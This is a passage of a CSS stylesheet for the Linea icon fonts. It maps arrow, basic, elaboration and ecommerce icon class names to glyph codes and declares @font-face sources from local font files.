\"\\e045\";\n}\n.icon-arrows-move-right:before {\n  content: \"\\e046\";\n}\n.icon-arrows-move-top:before {\n  content: \"\\e047\";\n}\n.icon-arrows-plus:before {\n  content: \"\\e048\";\n}\n.icon-arrows-question:before {\n  content: \"\\e049\";\n}\n.icon-arrows-remove:before {\n  content: \"\\e04a\";\n}\n.icon-arrows-right:before {\n  content: \"\\e04b\";\n}\n.icon-arrows-right-double:before {\n  content: \"\\e04c\";\n}\n.icon-arrows-rotate:before {\n  content: \"\\e04d\";\n}\n.icon-arrows-rotate-anti:before {\n  content: \"\\e04e\";\n}\n.icon-arrows-rotate-anti-dashed:before {\n  content: \"\\e04f\";\n}\n.icon-arrows-rotate-dashed:before {\n  content: \"\\e050\";\n}\n.icon-arrows-shrink:before {\n  content: \"\\e051\";\n}\n.icon-arrows-shrink-diagonal1:before {\n  content: \"\\e052\";\n}\n.icon-arrows-shrink-diagonal2:before {\n  content: \"\\e053\";\n}\n.icon-arrows-shrink-horizonal2:before {\n  content: \"\\e054\";\n}\n.icon-arrows-shrink-horizontal1:before {\n  content: \"\\e055\";\n}\n.icon-arrows-shrink-vertical1:before {\n  content: \"\\e056\";\n}\n.icon-arrows-shrink-vertical2:before {\n  content: \"\\e057\";\n}\n.icon-arrows-sign-down:before {\n  content: \"\\e058\";\n}\n.icon-arrows-sign-left:before {\n  content: \"\\e059\";\n}\n.icon-arrows-sign-right:before {\n  content: \"\\e05a\";\n}\n.icon-arrows-sign-up:before {\n  content: \"\\e05b\";\n}\n.icon-arrows-slide-down1:before {\n  content: \"\\e05c\";\n}\n.icon-arrows-slide-down2:before {\n  content: \"\\e05d\";\n}\n.icon-arrows-slide-left1:before {\n  content: \"\\e05e\";\n}\n.icon-arrows-slide-left2:before {\n  content: \"\\e05f\";\n}\n.icon-arrows-slide-right1:before {\n  content: \"\\e060\";\n}\n.icon-arrows-slide-right2:before {\n  content: \"\\e061\";\n}\n.icon-arrows-slide-up1:before {\n  content: \"\\e062\";\n}\n.icon-arrows-slide-up2:before {\n  content: \"\\e063\";\n}\n.icon-arrows-slim-down:before {\n  content: \"\\e064\";\n}\n.icon-arrows-slim-down-dashed:before {\n  content: \"\\e065\";\n}\n.icon-arrows-slim-left:before {\n  content: \"\\e066\";\n}\n.icon-arrows-slim-left-dashed:before {\n  content: \"\\e067\";\n}\n.icon-arrows-slim-right:before {\n  content: \"\\e068\";\n}\n.icon-arrows-slim-right-dashed:before {\n  content: \"\\e069\";\n}\n.icon-arrows-slim-up:before {\n  content: \"\\e06a\";\n}\n.icon-arrows-slim-up-dashed:before {\n  content: \"\\e06b\";\n}\n.icon-arrows-square-check:before {\n  content: \"\\e06c\";\n}\n.icon-arrows-square-down:before {\n  content: \"\\e06d\";\n}\n.icon-arrows-square-downleft:before {\n  content: \"\\e06e\";\n}\n.icon-arrows-square-downright:before {\n  content: \"\\e06f\";\n}\n.icon-arrows-square-left:before {\n  content: \"\\e070\";\n}\n.icon-arrows-square-minus:before {\n  content: \"\\e071\";\n}\n.icon-arrows-square-plus:before {\n  content: \"\\e072\";\n}\n.icon-arrows-square-remove:before {\n  content: \"\\e073\";\n}\n.icon-arrows-square-right:before {\n  content: \"\\e074\";\n}\n.icon-arrows-square-up:before {\n  content: \"\\e075\";\n}\n.icon-arrows-square-upleft:before {\n  content: \"\\e076\";\n}\n.icon-arrows-square-upright:before {\n  content: \"\\e077\";\n}\n.icon-arrows-squares:before {\n  content: \"\\e078\";\n}\n.icon-arrows-stretch-diagonal1:before {\n  content: \"\\e079\";\n}\n.icon-arrows-stretch-diagonal2:before {\n  content: \"\\e07a\";\n}\n.icon-arrows-stretch-diagonal3:before {\n  content: \"\\e07b\";\n}\n.icon-arrows-stretch-diagonal4:before {\n  content: \"\\e07c\";\n}\n.icon-arrows-stretch-horizontal1:before {\n  content: \"\\e07d\";\n}\n.icon-arrows-stretch-horizontal2:before {\n  content: \"\\e07e\";\n}\n.icon-arrows-stretch-vertical1:before {\n  content: \"\\e07f\";\n}\n.icon-arrows-stretch-vertical2:before {\n  content: \"\\e080\";\n}\n.icon-arrows-switch-horizontal:before {\n  content: \"\\e081\";\n}\n.icon-arrows-switch-vertical:before {\n  content: \"\\e082\";\n}\n.icon-arrows-up:before {\n  content: \"\\e083\";\n}\n.icon-arrows-up-double-33:before {\n  content: \"\\e084\";\n}\n.icon-arrows-upleft:before {\n  content: \"\\e085\";\n}\n.icon-arrows-upright:before {\n  content: \"\\e086\";\n}\n.icon-arrows-vertical:before {\n  content: \"\\e087\";\n}\n@font-face {\n  font-family: \"linea-basic-10\";\n  src: url(\"fonts/linea-basic-10.eot\");\n  src: url(\"fonts/linea-basic-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-basic-10.woff\") format(\"woff\"), url(\"fonts/linea-basic-10.ttf\") format(\"truetype\"), url(\"fonts/linea-basic-10.svg#linea-basic-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-basic[data-icon]:before {\n  font-family: \"linea-basic-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-basic-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-basic-accelerator:before {\n  content: \"a\";\n}\n.icon-basic-alarm:before {\n  content: \"b\";\n}\n.icon-basic-anchor:before {\n  content: \"c\";\n}\n.icon-basic-anticlockwise:before {\n  content: \"d\";\n}\n.icon-basic-archive:before {\n  content: \"e\";\n}\n.icon-basic-archive-full:before {\n  content: \"f\";\n}\n.icon-basic-ban:before {\n  content: \"g\";\n}\n.icon-basic-battery-charge:before {\n  content: \"h\";\n}\n.icon-basic-battery-empty:before {\n  content: \"i\";\n}\n.icon-basic-battery-full:before {\n  content: \"j\";\n}\n.icon-basic-battery-half:before {\n  content: \"k\";\n}\n.icon-basic-bolt:before {\n  content: \"l\";\n}\n.icon-basic-book:before {\n  content: \"m\";\n}\n.icon-basic-book-pen:before {\n  content: \"n\";\n}\n.icon-basic-book-pencil:before {\n  content: \"o\";\n}\n.icon-basic-bookmark:before {\n  content: \"p\";\n}\n.icon-basic-calculator:before {\n  content: \"q\";\n}\n.icon-basic-calendar:before {\n  content: \"r\";\n}\n.icon-basic-cards-diamonds:before {\n  content: \"s\";\n}\n.icon-basic-cards-hearts:before {\n  content: \"t\";\n}\n.icon-basic-case:before {\n  content: \"u\";\n}\n.icon-basic-chronometer:before {\n  content: \"v\";\n}\n.icon-basic-clessidre:before {\n  content: \"w\";\n}\n.icon-basic-clock:before {\n  content: \"x\";\n}\n.icon-basic-clockwise:before {\n  content: \"y\";\n}\n.icon-basic-cloud:before {\n  content: \"z\";\n}\n.icon-basic-clubs:before {\n  content: \"A\";\n}\n.icon-basic-compass:before {\n  content: \"B\";\n}\n.icon-basic-cup:before {\n  content: \"C\";\n}\n.icon-basic-diamonds:before {\n  content: \"D\";\n}\n.icon-basic-display:before {\n  content: \"E\";\n}\n.icon-basic-download:before {\n  content: \"F\";\n}\n.icon-basic-exclamation:before {\n  content: \"G\";\n}\n.icon-basic-eye:before {\n  content: \"H\";\n}\n.icon-basic-eye-closed:before {\n  content: \"I\";\n}\n.icon-basic-female:before {\n  content: \"J\";\n}\n.icon-basic-flag1:before {\n  content: \"K\";\n}\n.icon-basic-flag2:before {\n  content: \"L\";\n}\n.icon-basic-floppydisk:before {\n  content: \"M\";\n}\n.icon-basic-folder:before {\n  content: \"N\";\n}\n.icon-basic-folder-multiple:before {\n  content: \"O\";\n}\n.icon-basic-gear:before {\n  content: \"P\";\n}\n.icon-basic-geolocalize-01:before {\n  content: \"Q\";\n}\n.icon-basic-geolocalize-05:before {\n  content: \"R\";\n}\n.icon-basic-globe:before {\n  content: \"S\";\n}\n.icon-basic-gunsight:before {\n  content: \"T\";\n}\n.icon-basic-hammer:before {\n  content: \"U\";\n}\n.icon-basic-headset:before {\n  content: \"V\";\n}\n.icon-basic-heart:before {\n  content: \"W\";\n}\n.icon-basic-heart-broken:before {\n  content: \"X\";\n}\n.icon-basic-helm:before {\n  content: \"Y\";\n}\n.icon-basic-home:before {\n  content: \"Z\";\n}\n.icon-basic-info:before {\n  content: \"0\";\n}\n.icon-basic-ipod:before {\n  content: \"1\";\n}\n.icon-basic-joypad:before {\n  content: \"2\";\n}\n.icon-basic-key:before {\n  content: \"3\";\n}\n.icon-basic-keyboard:before {\n  content: \"4\";\n}\n.icon-basic-laptop:before {\n  content: \"5\";\n}\n.icon-basic-life-buoy:before {\n  content: \"6\";\n}\n.icon-basic-lightbulb:before {\n  content: \"7\";\n}\n.icon-basic-link:before {\n  content: \"8\";\n}\n.icon-basic-lock:before {\n  content: \"9\";\n}\n.icon-basic-lock-open:before {\n  content: \"!\";\n}\n.icon-basic-magic-mouse:before {\n  content: \"\\\"\";\n}\n.icon-basic-magnifier:before {\n  content: \"#\";\n}\n.icon-basic-magnifier-minus:before {\n  content: \"$\";\n}\n.icon-basic-magnifier-plus:before {\n  content: \"%\";\n}\n.icon-basic-mail:before {\n  content: \"&\";\n}\n.icon-basic-mail-multiple:before {\n  content: \"'\";\n}\n.icon-basic-mail-open:before {\n  content: \"(\";\n}\n.icon-basic-mail-open-text:before {\n  content: \")\";\n}\n.icon-basic-male:before {\n  content: \"*\";\n}\n.icon-basic-map:before {\n  content: \"+\";\n}\n.icon-basic-message:before {\n  content: \",\";\n}\n.icon-basic-message-multiple:before {\n  content: \"-\";\n}\n.icon-basic-message-txt:before {\n  content: \".\";\n}\n.icon-basic-mixer2:before {\n  content: \"/\";\n}\n.icon-basic-mouse:before {\n  content: \":\";\n}\n.icon-basic-notebook:before {\n  content: \";\";\n}\n.icon-basic-notebook-pen:before {\n  content: \"<\";\n}\n.icon-basic-notebook-pencil:before {\n  content: \"=\";\n}\n.icon-basic-paperplane:before {\n  content: \">\";\n}\n.icon-basic-pencil-ruler:before {\n  content: \"?\";\n}\n.icon-basic-pencil-ruler-pen:before {\n  content: \"@\";\n}\n.icon-basic-photo:before {\n  content: \"[\";\n}\n.icon-basic-picture:before {\n  content: \"]\";\n}\n.icon-basic-picture-multiple:before {\n  content: \"^\";\n}\n.icon-basic-pin1:before {\n  content: \"_\";\n}\n.icon-basic-pin2:before {\n  content: \"`\";\n}\n.icon-basic-postcard:before {\n  content: \"{\";\n}\n.icon-basic-postcard-multiple:before {\n  content: \"|\";\n}\n.icon-basic-printer:before {\n  content: \"}\";\n}\n.icon-basic-question:before {\n  content: \"~\";\n}\n.icon-basic-rss:before {\n  content: \"\";\n}\n.icon-basic-server:before {\n  content: \"\\e000\";\n}\n.icon-basic-server2:before {\n  content: \"\\e001\";\n}\n.icon-basic-server-cloud:before {\n  content: \"\\e002\";\n}\n.icon-basic-server-download:before {\n  content: \"\\e003\";\n}\n.icon-basic-server-upload:before {\n  content: \"\\e004\";\n}\n.icon-basic-settings:before {\n  content: \"\\e005\";\n}\n.icon-basic-share:before {\n  content: \"\\e006\";\n}\n.icon-basic-sheet:before {\n  content: \"\\e007\";\n}\n.icon-basic-sheet-multiple:before {\n  content: \"\\e008\";\n}\n.icon-basic-sheet-pen:before {\n  content: \"\\e009\";\n}\n.icon-basic-sheet-pencil:before {\n  content: \"\\e00a\";\n}\n.icon-basic-sheet-txt:before {\n  content: \"\\e00b\";\n}\n.icon-basic-signs:before {\n  content: \"\\e00c\";\n}\n.icon-basic-smartphone:before {\n  content: \"\\e00d\";\n}\n.icon-basic-spades:before {\n  content: \"\\e00e\";\n}\n.icon-basic-spread:before {\n  content: \"\\e00f\";\n}\n.icon-basic-spread-bookmark:before {\n  content: \"\\e010\";\n}\n.icon-basic-spread-text:before {\n  content: \"\\e011\";\n}\n.icon-basic-spread-text-bookmark:before {\n  content: \"\\e012\";\n}\n.icon-basic-star:before {\n  content: \"\\e013\";\n}\n.icon-basic-tablet:before {\n  content: \"\\e014\";\n}\n.icon-basic-target:before {\n  content: \"\\e015\";\n}\n.icon-basic-todo:before {\n  content: \"\\e016\";\n}\n.icon-basic-todo-pen:before {\n  content: \"\\e017\";\n}\n.icon-basic-todo-pencil:before {\n  content: \"\\e018\";\n}\n.icon-basic-todo-txt:before {\n  content: \"\\e019\";\n}\n.icon-basic-todolist-pen:before {\n  content: \"\\e01a\";\n}\n.icon-basic-todolist-pencil:before {\n  content: \"\\e01b\";\n}\n.icon-basic-trashcan:before {\n  content: \"\\e01c\";\n}\n.icon-basic-trashcan-full:before {\n  content: \"\\e01d\";\n}\n.icon-basic-trashcan-refresh:before {\n  content: \"\\e01e\";\n}\n.icon-basic-trashcan-remove:before {\n  content: \"\\e01f\";\n}\n.icon-basic-upload:before {\n  content: \"\\e020\";\n}\n.icon-basic-usb:before {\n  content: \"\\e021\";\n}\n.icon-basic-video:before {\n  content: \"\\e022\";\n}\n.icon-basic-watch:before {\n  content: \"\\e023\";\n}\n.icon-basic-webpage:before {\n  content: \"\\e024\";\n}\n.icon-basic-webpage-img-txt:before {\n  content: \"\\e025\";\n}\n.icon-basic-webpage-multiple:before {\n  content: \"\\e026\";\n}\n.icon-basic-webpage-txt:before {\n  content: \"\\e027\";\n}\n.icon-basic-world:before {\n  content: \"\\e028\";\n}\n@font-face {\n  font-family: \"linea-basic-elaboration-10\";\n  src: url(\"fonts/linea-basic-elaboration-10.eot\");\n  src: url(\"fonts/linea-basic-elaboration-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-basic-elaboration-10.woff\") format(\"woff\"), url(\"fonts/linea-basic-elaboration-10.ttf\") format(\"truetype\"), url(\"fonts/linea-basic-elaboration-10.svg#linea-basic-elaboration-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-elaborate[data-icon]:before {\n  font-family: \"linea-basic-elaboration-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-basic-elaboration-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-basic-elaboration-bookmark-checck:before {\n  content: \"a\";\n}\n.icon-basic-elaboration-bookmark-minus:before {\n  content: \"b\";\n}\n.icon-basic-elaboration-bookmark-plus:before {\n  content: \"c\";\n}\n.icon-basic-elaboration-bookmark-remove:before {\n  content: \"d\";\n}\n.icon-basic-elaboration-briefcase-check:before {\n  content: \"e\";\n}\n.icon-basic-elaboration-briefcase-download:before {\n  content: \"f\";\n}\n.icon-basic-elaboration-briefcase-flagged:before {\n  content: \"g\";\n}\n.icon-basic-elaboration-briefcase-minus:before {\n  content: \"h\";\n}\n.icon-basic-elaboration-briefcase-plus:before {\n  content: \"i\";\n}\n.icon-basic-elaboration-briefcase-refresh:before {\n  content: \"j\";\n}\n.icon-basic-elaboration-briefcase-remove:before {\n  content: \"k\";\n}\n.icon-basic-elaboration-briefcase-search:before {\n  content: \"l\";\n}\n.icon-basic-elaboration-briefcase-star:before {\n  content: \"m\";\n}\n.icon-basic-elaboration-briefcase-upload:before {\n  content: \"n\";\n}\n.icon-basic-elaboration-browser-check:before {\n  content: \"o\";\n}\n.icon-basic-elaboration-browser-download:before {\n  content: \"p\";\n}\n.icon-basic-elaboration-browser-minus:before {\n  content: \"q\";\n}\n.icon-basic-elaboration-browser-plus:before {\n  content: \"r\";\n}\n.icon-basic-elaboration-browser-refresh:before {\n  content: \"s\";\n}\n.icon-basic-elaboration-browser-remove:before {\n  content: \"t\";\n}\n.icon-basic-elaboration-browser-search:before {\n  content: \"u\";\n}\n.icon-basic-elaboration-browser-star:before {\n  content: \"v\";\n}\n.icon-basic-elaboration-browser-upload:before {\n  content: \"w\";\n}\n.icon-basic-elaboration-calendar-check:before {\n  content: \"x\";\n}\n.icon-basic-elaboration-calendar-cloud:before {\n  content: \"y\";\n}\n.icon-basic-elaboration-calendar-download:before {\n  content: \"z\";\n}\n.icon-basic-elaboration-calendar-empty:before {\n  content: \"A\";\n}\n.icon-basic-elaboration-calendar-flagged:before {\n  content: \"B\";\n}\n.icon-basic-elaboration-calendar-heart:before {\n  content: \"C\";\n}\n.icon-basic-elaboration-calendar-minus:before {\n  content: \"D\";\n}\n.icon-basic-elaboration-calendar-next:before {\n  content: \"E\";\n}\n.icon-basic-elaboration-calendar-noaccess:before {\n  content: \"F\";\n}\n.icon-basic-elaboration-calendar-pencil:before {\n  content: \"G\";\n}\n.icon-basic-elaboration-calendar-plus:before {\n  content: \"H\";\n}\n.icon-basic-elaboration-calendar-previous:before {\n  content: \"I\";\n}\n.icon-basic-elaboration-calendar-refresh:before {\n  content: \"J\";\n}\n.icon-basic-elaboration-calendar-remove:before {\n  content: \"K\";\n}\n.icon-basic-elaboration-calendar-search:before {\n  content: \"L\";\n}\n.icon-basic-elaboration-calendar-star:before {\n  content: \"M\";\n}\n.icon-basic-elaboration-calendar-upload:before {\n  content: \"N\";\n}\n.icon-basic-elaboration-cloud-check:before {\n  content: \"O\";\n}\n.icon-basic-elaboration-cloud-download:before {\n  content: \"P\";\n}\n.icon-basic-elaboration-cloud-minus:before {\n  content: \"Q\";\n}\n.icon-basic-elaboration-cloud-noaccess:before {\n  content: \"R\";\n}\n.icon-basic-elaboration-cloud-plus:before {\n  content: \"S\";\n}\n.icon-basic-elaboration-cloud-refresh:before {\n  content: \"T\";\n}\n.icon-basic-elaboration-cloud-remove:before {\n  content: \"U\";\n}\n.icon-basic-elaboration-cloud-search:before {\n  content: \"V\";\n}\n.icon-basic-elaboration-cloud-upload:before {\n  content: \"W\";\n}\n.icon-basic-elaboration-document-check:before {\n  content: \"X\";\n}\n.icon-basic-elaboration-document-cloud:before {\n  content: \"Y\";\n}\n.icon-basic-elaboration-document-download:before {\n  content: \"Z\";\n}\n.icon-basic-elaboration-document-flagged:before {\n  content: \"0\";\n}\n.icon-basic-elaboration-document-graph:before {\n  content: \"1\";\n}\n.icon-basic-elaboration-document-heart:before {\n  content: \"2\";\n}\n.icon-basic-elaboration-document-minus:before {\n  content: \"3\";\n}\n.icon-basic-elaboration-document-next:before {\n  content: \"4\";\n}\n.icon-basic-elaboration-document-noaccess:before {\n  content: \"5\";\n}\n.icon-basic-elaboration-document-note:before {\n  content: \"6\";\n}\n.icon-basic-elaboration-document-pencil:before {\n  content: \"7\";\n}\n.icon-basic-elaboration-document-picture:before {\n  content: \"8\";\n}\n.icon-basic-elaboration-document-plus:before {\n  content: \"9\";\n}\n.icon-basic-elaboration-document-previous:before {\n  content: \"!\";\n}\n.icon-basic-elaboration-document-refresh:before {\n  content: \"\\\"\";\n}\n.icon-basic-elaboration-document-remove:before {\n  content: \"#\";\n}\n.icon-basic-elaboration-document-search:before {\n  content: \"$\";\n}\n.icon-basic-elaboration-document-star:before {\n  content: \"%\";\n}\n.icon-basic-elaboration-document-upload:before {\n  content: \"&\";\n}\n.icon-basic-elaboration-folder-check:before {\n  content: \"'\";\n}\n.icon-basic-elaboration-folder-cloud:before {\n  content: \"(\";\n}\n.icon-basic-elaboration-folder-document:before {\n  content: \")\";\n}\n.icon-basic-elaboration-folder-download:before {\n  content: \"*\";\n}\n.icon-basic-elaboration-folder-flagged:before {\n  content: \"+\";\n}\n.icon-basic-elaboration-folder-graph:before {\n  content: \",\";\n}\n.icon-basic-elaboration-folder-heart:before {\n  content: \"-\";\n}\n.icon-basic-elaboration-folder-minus:before {\n  content: \".\";\n}\n.icon-basic-elaboration-folder-next:before {\n  content: \"/\";\n}\n.icon-basic-elaboration-folder-noaccess:before {\n  content: \":\";\n}\n.icon-basic-elaboration-folder-note:before {\n  content: \";\";\n}\n.icon-basic-elaboration-folder-pencil:before {\n  content: \"<\";\n}\n.icon-basic-elaboration-folder-picture:before {\n  content: \"=\";\n}\n.icon-basic-elaboration-folder-plus:before {\n  content: \">\";\n}\n.icon-basic-elaboration-folder-previous:before {\n  content: \"?\";\n}\n.icon-basic-elaboration-folder-refresh:before {\n  content: \"@\";\n}\n.icon-basic-elaboration-folder-remove:before {\n  content: \"[\";\n}\n.icon-basic-elaboration-folder-search:before {\n  content: \"]\";\n}\n.icon-basic-elaboration-folder-star:before {\n  content: \"^\";\n}\n.icon-basic-elaboration-folder-upload:before {\n  content: \"_\";\n}\n.icon-basic-elaboration-mail-check:before {\n  content: \"`\";\n}\n.icon-basic-elaboration-mail-cloud:before {\n  content: \"{\";\n}\n.icon-basic-elaboration-mail-document:before {\n  content: \"|\";\n}\n.icon-basic-elaboration-mail-download:before {\n  content: \"}\";\n}\n.icon-basic-elaboration-mail-flagged:before {\n  content: \"~\";\n}\n.icon-basic-elaboration-mail-heart:before {\n  content: \"\";\n}\n.icon-basic-elaboration-mail-next:before {\n  content: \"\\e000\";\n}\n.icon-basic-elaboration-mail-noaccess:before {\n  content: \"\\e001\";\n}\n.icon-basic-elaboration-mail-note:before {\n  content: \"\\e002\";\n}\n.icon-basic-elaboration-mail-pencil:before {\n  content: \"\\e003\";\n}\n.icon-basic-elaboration-mail-picture:before {\n  content: \"\\e004\";\n}\n.icon-basic-elaboration-mail-previous:before {\n  content: \"\\e005\";\n}\n.icon-basic-elaboration-mail-refresh:before {\n  content: \"\\e006\";\n}\n.icon-basic-elaboration-mail-remove:before {\n  content: \"\\e007\";\n}\n.icon-basic-elaboration-mail-search:before {\n  content: \"\\e008\";\n}\n.icon-basic-elaboration-mail-star:before {\n  content: \"\\e009\";\n}\n.icon-basic-elaboration-mail-upload:before {\n  content: \"\\e00a\";\n}\n.icon-basic-elaboration-message-check:before {\n  content: \"\\e00b\";\n}\n.icon-basic-elaboration-message-dots:before {\n  content: \"\\e00c\";\n}\n.icon-basic-elaboration-message-happy:before {\n  content: \"\\e00d\";\n}\n.icon-basic-elaboration-message-heart:before {\n  content: \"\\e00e\";\n}\n.icon-basic-elaboration-message-minus:before {\n  content: \"\\e00f\";\n}\n.icon-basic-elaboration-message-note:before {\n  content: \"\\e010\";\n}\n.icon-basic-elaboration-message-plus:before {\n  content: \"\\e011\";\n}\n.icon-basic-elaboration-message-refresh:before {\n  content: \"\\e012\";\n}\n.icon-basic-elaboration-message-remove:before {\n  content: \"\\e013\";\n}\n.icon-basic-elaboration-message-sad:before {\n  content: \"\\e014\";\n}\n.icon-basic-elaboration-smartphone-cloud:before {\n  content: \"\\e015\";\n}\n.icon-basic-elaboration-smartphone-heart:before {\n  content: \"\\e016\";\n}\n.icon-basic-elaboration-smartphone-noaccess:before {\n  content: \"\\e017\";\n}\n.icon-basic-elaboration-smartphone-note:before {\n  content: \"\\e018\";\n}\n.icon-basic-elaboration-smartphone-pencil:before {\n  content: \"\\e019\";\n}\n.icon-basic-elaboration-smartphone-picture:before {\n  content: \"\\e01a\";\n}\n.icon-basic-elaboration-smartphone-refresh:before {\n  content: \"\\e01b\";\n}\n.icon-basic-elaboration-smartphone-search:before {\n  content: \"\\e01c\";\n}\n.icon-basic-elaboration-tablet-cloud:before {\n  content: \"\\e01d\";\n}\n.icon-basic-elaboration-tablet-heart:before {\n  content: \"\\e01e\";\n}\n.icon-basic-elaboration-tablet-noaccess:before {\n  content: \"\\e01f\";\n}\n.icon-basic-elaboration-tablet-note:before {\n  content: \"\\e020\";\n}\n.icon-basic-elaboration-tablet-pencil:before {\n  content: \"\\e021\";\n}\n.icon-basic-elaboration-tablet-picture:before {\n  content: \"\\e022\";\n}\n.icon-basic-elaboration-tablet-refresh:before {\n  content: \"\\e023\";\n}\n.icon-basic-elaboration-tablet-search:before {\n  content: \"\\e024\";\n}\n.icon-basic-elaboration-todolist-2:before {\n  content: \"\\e025\";\n}\n.icon-basic-elaboration-todolist-check:before {\n  content: \"\\e026\";\n}\n.icon-basic-elaboration-todolist-cloud:before {\n  content: \"\\e027\";\n}\n.icon-basic-elaboration-todolist-download:before {\n  content: \"\\e028\";\n}\n.icon-basic-elaboration-todolist-flagged:before {\n  content: \"\\e029\";\n}\n.icon-basic-elaboration-todolist-minus:before {\n  content: \"\\e02a\";\n}\n.icon-basic-elaboration-todolist-noaccess:before {\n  content: \"\\e02b\";\n}\n.icon-basic-elaboration-todolist-pencil:before {\n  content: \"\\e02c\";\n}\n.icon-basic-elaboration-todolist-plus:before {\n  content: \"\\e02d\";\n}\n.icon-basic-elaboration-todolist-refresh:before {\n  content: \"\\e02e\";\n}\n.icon-basic-elaboration-todolist-remove:before {\n  content: \"\\e02f\";\n}\n.icon-basic-elaboration-todolist-search:before {\n  content: \"\\e030\";\n}\n.icon-basic-elaboration-todolist-star:before {\n  content: \"\\e031\";\n}\n.icon-basic-elaboration-todolist-upload:before {\n  content: \"\\e032\";\n}\n@font-face {\n  font-family: \"linea-ecommerce-10\";\n  src: url(\"fonts/linea-ecommerce-10.eot\");\n  src: url(\"fonts/linea-ecommerce-10d41d.eot?#iefix\") format(\"embedded-opentype\"), url(\"fonts/linea-ecommerce-10.woff\") format(\"woff\"), url(\"fonts/linea-ecommerce-10.ttf\") format(\"truetype\"), url(\"fonts/linea-ecommerce-10.svg#linea-ecommerce-10\") format(\"svg\");\n  font-weight: normal;\n  font-style: normal;\n}\n.linea-ecommerce[data-icon]:before {\n  font-family: \"linea-ecommerce-10\" !important;\n  content: attr(data-icon);\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n[class^=\"linea-icon-\"]:before,\n[class*=\"linea- icon-\"]:before {\n  font-family: \"linea-ecommerce-10\" !important;\n  font-style: normal !important;\n  font-weight: normal !important;\n  font-variant: normal !important;\n  text-transform: none !important;\n  speak: none;\n  line-height: 1;\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.icon-ecommerce-bag:before {\n  content: \"a\";\n}\n.icon-ecommerce-bag-check:before {\n  content: \"b\";\n}\n.icon-ecommerce-bag-cloud:before {\n  content: \"c\";\n}\n.icon-ecommerce-bag-download:before {\n  content: \"d\";\n}\n.icon-ecommerce-bag-minus:before {\n  content: \"e\";\n}\n.icon-ecommerce-bag-plus:before {\n  content: \"f\";\n}\n.icon-ecommerce-bag-refresh:before {\n  content: \"g\";\n}\n.icon-ecommerce-bag-remove:before {\n  content: \"h\";\n}\n.icon-ecommerce-bag-search:before {\n  content: \"i\";\n}\n.icon-ecommerce-bag-upload:before {\n  content: \"j\";\n}\n.icon-ecommerce-banknote:before {\n  content: \"k\";\n}\n.icon-ecommerce-banknotes:before {\n  content: \"l\";\n}\n.icon-ecommerce-basket:before {\n  content: \"m\";\n}\n.icon-ecommerce-basket-check:before {\n  content: \"n\";\n}\n.icon-ecommerce-basket-cloud:before {\n  content: \"o\";\n}\n.icon-ecommerce-basket-download:before {\n  content: \"p\";\n}\n.icon-ecommerce-basket-minus:before {\n  content: \"q\";\n}\n.icon-ecommerce-basket-plus:before {\n  content: \"r\";\n}\n.icon-ecommerce-basket-refresh:before {\n  content: \"s\";\n}\n.icon-ecommerce-basket-remove:before {\n  content: \"t\";\n}\n.icon-ecommerce-basket-search:before {\n  content: \"u\";\n}\n.icon-ecommerce-basket-upload:before {\n  content: \"v\";\n}\n.icon-ecommerce-bath:before {\n  content: \"w\";\n}\n.icon-ecommerce-cart:before {\n  content: \"x\";\n}\n.icon-ecommerce-cart-check:before {\n  content: \"y\";\n}\n.icon-ecommerce-cart-cloud:before {\n  content: \"z\";\n}\n.icon-ecommerce-cart-content:before {\n  content: \"A\";\n}\n.icon-ecommerce-cart-download:before {\n  content: \"B\";\n}\n.icon-ecommerce-cart-minus:before {\n  content: \"C\";\n}\n.icon-ecommerce-cart-plus:before {\n  content: \"D\";\n}\n.icon-ecommerce-cart-refresh:before {\n  content: \"E\";\n}\n.icon-ecommerce-cart-remove:before {\n  content: \"F\";\n}\n.icon-ecommerce-cart-search:before {\n  content: \"G\";\n}\n.icon-ecommerce-cart-upload:before {\n  content: \"H\";\n}\n.icon-ecommerce-cent:before {\n  content: \"I\";\n}\n.icon-ecommerce-colon:before {\n  content: \"J\";\n}\n.icon-ecommerce-creditcard:before {\n  content: \"K\";\n}\n.icon-ecommerce-diamond:before {\n  content: \"L\";\n}\n.icon-ecommerce-dollar:before {\n  content: \"M\";\n}\n.icon-ecommerce-euro:before {\n  content: \"N\";\n}\n.icon-ecommerce-franc:before {\n  content: \"O\";\n}\n.icon-ecommerce-gift:before {\n  content: \"P\";\n}\n.icon-ecommerce-graph1:before {\n  content: \"Q\";\n}\n.icon-ecommerce-graph2:before {\n  content: \"R\";\n}\n.icon-ecommerce-graph3:before {\n  content: \"S\";\n}\n.icon-ecommerce-graph-decrease:before {\n  content: \"T\";\n}\n.icon-ecommerce-graph-increase:before {\n  content: \"U\";\n}\n.icon-ecommerce-guarani:before {\n  content: \"V\";\n}\n.icon-ecommerce-kips:before {\n  content: \"W\";\n}\n.icon-ecommerce-lira:before {\n  content: \"X\";\n}\n.icon-ecommerce-megaphone:before {\n  content: 